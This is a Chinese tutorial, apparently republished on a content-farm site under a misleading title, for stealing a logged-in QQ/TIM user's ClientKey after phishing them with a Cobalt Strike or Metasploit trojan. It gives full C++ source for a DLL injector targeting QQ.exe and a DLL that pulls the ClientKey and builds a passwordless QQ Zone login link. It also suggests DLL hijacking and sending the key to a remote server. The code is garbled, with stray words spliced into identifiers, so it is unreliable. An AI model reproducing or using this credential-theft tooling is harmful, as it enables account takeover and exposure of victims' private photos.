本文主要讲解如何窃取已登录QQ或TIM用户的ClientKey(前提是当前电脑的QQ或TIM是登录状态)
并悄无声息的获取其QQ或TIM的空间登录权限的链接,然后可以在任意一台电脑上都可以无密码登录其QQ空间,也可以查看其加密相册等。
具体的实现流程后期可以优化的更完美,因为时间原因只测试了基本功能的实现。只是提供一种思路,大家可以发散思维,把流程更加简化或自动化。
CS和MSF怎样生成上线木马我就不啰嗦了,大家可自行百度无论生成什么格式的木马只要能使被攻击者上线就可以。
参考文章:
https://www.cnblogs.com/dgjnszf/p/10877999.html(PS:如果你想让不和你同一网段的人运行木马上线,你的CS应部署到公网上)然后具体的文件钓鱼过程我也不细说了,因为大家都有自己的钓鱼方式。
下面直接就从木马上线传入文件后的操作开始演示:我们需要传入Help用法的文件是一个exe一个dll
都需要传入C盘根目录且dll的名字必须命名为Dll1.dll(因为懒惰我都写死到源码中了,大家可根据源码自行修改)。
exe的作用主要是进行远程线程注入QQ.exe程序(因为便于测试,我写死的是注入QQ.exe,大家如果想注入TIM的话可自行修改)。
dllInject.exe源码
// dllInject.cpp :此文件包含"main"函数。程序执行将在此处开始并结束。//#include"pch.h"#include<iostream>#include<windows.h>#include<TlHelp32.h>#include<string.h>//这里我先写死为C:Dll1.dll#defineDLL_PATHL"C:Dll1.dll"//根据进程名获取进程ID,这里我先写死为QQ.exeDWORDGetProcId(){BOOLbRet;PROCESSENTRY32pe32;HANDLEhSnap;hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);pe32.dwSize=sizeof(pe32);bRet=Process32First(hSnap,&pe32);while(bRet){if(lstrcmp(pe32.szExeFile,L"QQ.exe")==0){returnpe32.th32ProcessID;}bRet=Process32Next(hSnap,&pe32);}return0;}intmain(){//0正常情况下,我们可以通过遍历进程根据进程名得到进程IDDWORDdwId=GetProcId();//1打开目标进程,得到句柄HANDLEhProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwId);//2在目标进程中申请一块空间,能够存放下dll文件的路径DWORDdwSize=(wcslen(DLL_PATH)+1)*2;LPVOIDlpAddress=VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_READWRITE);//3将dll文件的路径写入到目标进程申请的空间中SIZE_TsSize=0;WriteProcessMemory(hProcess,lpAddress,DLL_PATH,dwSize,&sSize);//4在目标进程中,创建远程线程使其能够执行LoadLibrary,参数是我们写入的dll路径HANDLEhThread=CreateRemoteThread(hProcess,NULL,NULL,(LPTHREAD_START_ROUTINE)LoadLibraryW,lpAddres立方差s,NULL,NULL);//5等待线程结束,我们释放空间WaitForSingleObject(hThread,-1);VirtualFreeEx(hProcess,lpAddress,dwSize,NULL);//6程序结束CloHandle(hThread);CloHandle(hProcess);}
dll的作用主要是用来窃取ClientKey并存储到txt文件。
Dll1.dll源码
// dllmain.cpp :定义 DLL 应用程序的入口点。#include"stdafx.h"#include<stdio.h>#include<stdlib.h>#include<windows.h>#include<WTypes.h>//定义CTXStringW为BSTRtypedefBSTRCTXStringW;CTXStringWAllocTXString(constwchar_t*lpSr湖南大学怎么样c){if(lpSrc==NULL)returnNULL;BYTE*bBuffer=newBYTE[16+(wcslen(lpSrc)+1)*2];if(bBuffer==NULL)returnNULL;DWORDdwZero=0;DWORDdwCount=3;DWORDdwLenth=wcslen(lpSrc)+1;memmove(bBuffer+0*4,&dwZero,4);memmove(bBuffer+1*4,&dwCount,4);memmove(bBuffer+2*4,&dwLenth,4);memmove(bBuffer+3*4,&dwLenth,4);wcscpy((wchar_t*)(bBuffer+4*4),lpSrc);returnCTXStringW(bBuffer+16);}VOIDSteal(){do{HMODULEhKxinhaigemingernelUtil=GetModuleHandle(L"KernelUtil.dll");if(hKernelUtil==NULL){OutputDebugStringA("GetKernelUtilModulefailedn");break;}PVOIDPtrGetSelfUin=GetProcAddress(hKernelUtil,"?GetSelfUin@Contact@Util@@YAKXZ");if(PtrGetSelfUin==NULL){OutputDebugStringA("GetGetSelfUinFunctionfailedn");break;}DWORDuin=((int(*)(int))PtrGetSelfUin)(1);if(uin==NULL){OutputDebugStr普钙ingA("InvokeGetSelfUinFunctionfailedn");break;}//PrintQQnumbercharszUin[MAX_PATH]={0};sprintf(szUin,"%d",uin);PVOIDGetSignature=GetProcAddress(hKernelUtil,"?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");if(GetSignature==NULL){OutputDebugStringA("GetGetSignatureFunctionfailedn");break;}WCHARwsBuffer[MAX_PATH]={0};CTXStringWClientKey=AllocTXString(wsBuffer);PVOIDres=((PVOID(*)(PVOID,constchar*))GetSignature)(&ClientKey,"buf32ByteValueAddedSignature");if(res==NULL){OutputDebugStringA("InvokeGetSignatureFunctionfailedn");break;}//复制下面链接,无需密码,进入QQ空间charmsg[MAX_PATH]={0};sprintf(msg,"https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=%s&clientkey=%ws&u1=https://ur.qzone.qq.com/%s%/infocenter&source=panelstarn",szUin,ClientKey,szUin);OutputDebugStringA("注入成功");//MessageBox(NULL,L"提示",L"注入成功",MB_OK);FILE*file=NULL;//定义一个文件类型(FILE)的指针并初始化;constchar*FileName="C:clientkey.txt";file=fopen(FileName,"w+");//调用fopen函数,将返回值赋于指针file;//if (!file)//检查文件是否打开,若打开失败,返回一条信息后,结束程序。//{//OutputDebugStringA("文件打开失败,请检查文件是否存在!n");//exit(1);//}//需要写入的字符串内容。if(!fputs(msg,file))//调用fputs函数写入文件,不管成功或失败都会返回一条信息。OutputDebugStringA("文件写入成功n");fclo(file);//关闭文件。file=NULL;//放空file指针}while(0);}BOOLAPIENTRYDllMain(HMODULEhModule,DWORDul_reason_for_call,LPVOIDlpRerved){switch(ul_reason_for_call){caDLL_PROCESS_ATTACH:Steal();break;caDLL_THREAD_ATTACH:caDLL_THREAD_DETACH:caDLL_PROCESS_DETACH:break;}returnTRUE;}
传入文件之后我们使用命令行运行C盘根目录中的dllInject.exe即可实现自动注入QQ.exe程序并将窃取到的ClientKey存储到C盘根目录,名称为clientkey.txt
dbgView显示注入成功,文件写入成功。然后我们查看生成的clientkey.txt文件中的内容
复制出来在任意电脑访问即可无密码登录其QQ空间查看其加密相册的功能。
获取的ClientKey不会因为他QQ的下线而失效,但是会有失效时间,具体是多长时间没有进行测试,大概是一天?
虽然这个方法的实战作用并不大但是大家可以参考思路改进或优化方法
比如我们可以使用dll劫持直接劫持QQ程序需要加载的DLL,用户一执行QQ就会自动加载窃取clientkey的dll,这样就免去了使用我编写的exe进行远程线程注入这一步。
又或者说是改进dll,把写入txt文件改为直接把获取到的clientkey直接发送到远程服务器上,这样就省去了读取txt文档的步骤,小弟只是提供一下基本思路,有写的不对的地方还请大佬们斧正。
本文发布于:2023-03-26 13:32:22,感谢您对本站的认可!
本文链接:https://www.wtabcd.cn/fanwen/zuowen/3f8b2266c6ff304f605b7c8aa2034ac7.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文word下载地址:怎么看qq空间加密相册,试试这个方法简单实用.doc
本文 PDF 下载地址:怎么看qq空间加密相册,试试这个方法简单实用.pdf
留言与评论(共有 0 条评论) |